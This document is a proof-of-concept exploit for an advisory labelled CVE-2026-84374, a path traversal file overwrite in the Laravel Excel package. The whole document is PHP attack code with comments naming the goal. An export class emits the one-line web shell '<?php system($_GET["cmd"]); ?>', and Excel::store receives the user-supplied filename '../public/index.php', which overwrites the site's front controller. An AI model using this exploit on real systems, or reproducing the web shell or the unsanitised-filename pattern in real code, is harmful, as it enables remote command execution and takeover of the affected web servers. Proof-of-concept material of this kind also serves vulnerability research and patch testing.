CVE-2026-84374: Laravel Excel (maatwebsite/excel) Path Traversal File Overwrite

<?php
// Attacker controls $filename from request input.
// Target: overwrite the Laravel front controller with a PHP webshell.
// The export row content becomes the file body (CSV writer emits values verbatim).
// A writable index.php must already exist (typical in public/).

use Maatwebsite\Excel\Concerns\FromArray;
use Maatwebsite\Excel\Facades\Excel;

class WebshellExport implements FromArray
{
    public function array(): array
    {
        // CSV writer emits this cell value verbatim into the file.
        return [['<?php system($_GET["cmd"]); ?>']];
    }
}

// $filename comes from $request->input('filename')
// Payload value: "../public/index.php"
// realpath() resolves this to /var/www/html/public/index.php (exists), triggering fopen.
$filename = $request->input('filename'); // e.g. "../public/index.php"

Excel::store(
    new WebshellExport(),
    $filename,          // unsanitized user input
    'local',            // disk is ignored for the overwrite branch
    \Maatwebsite\Excel\Excel::CSV  // explicit writer bypasses extension detection
);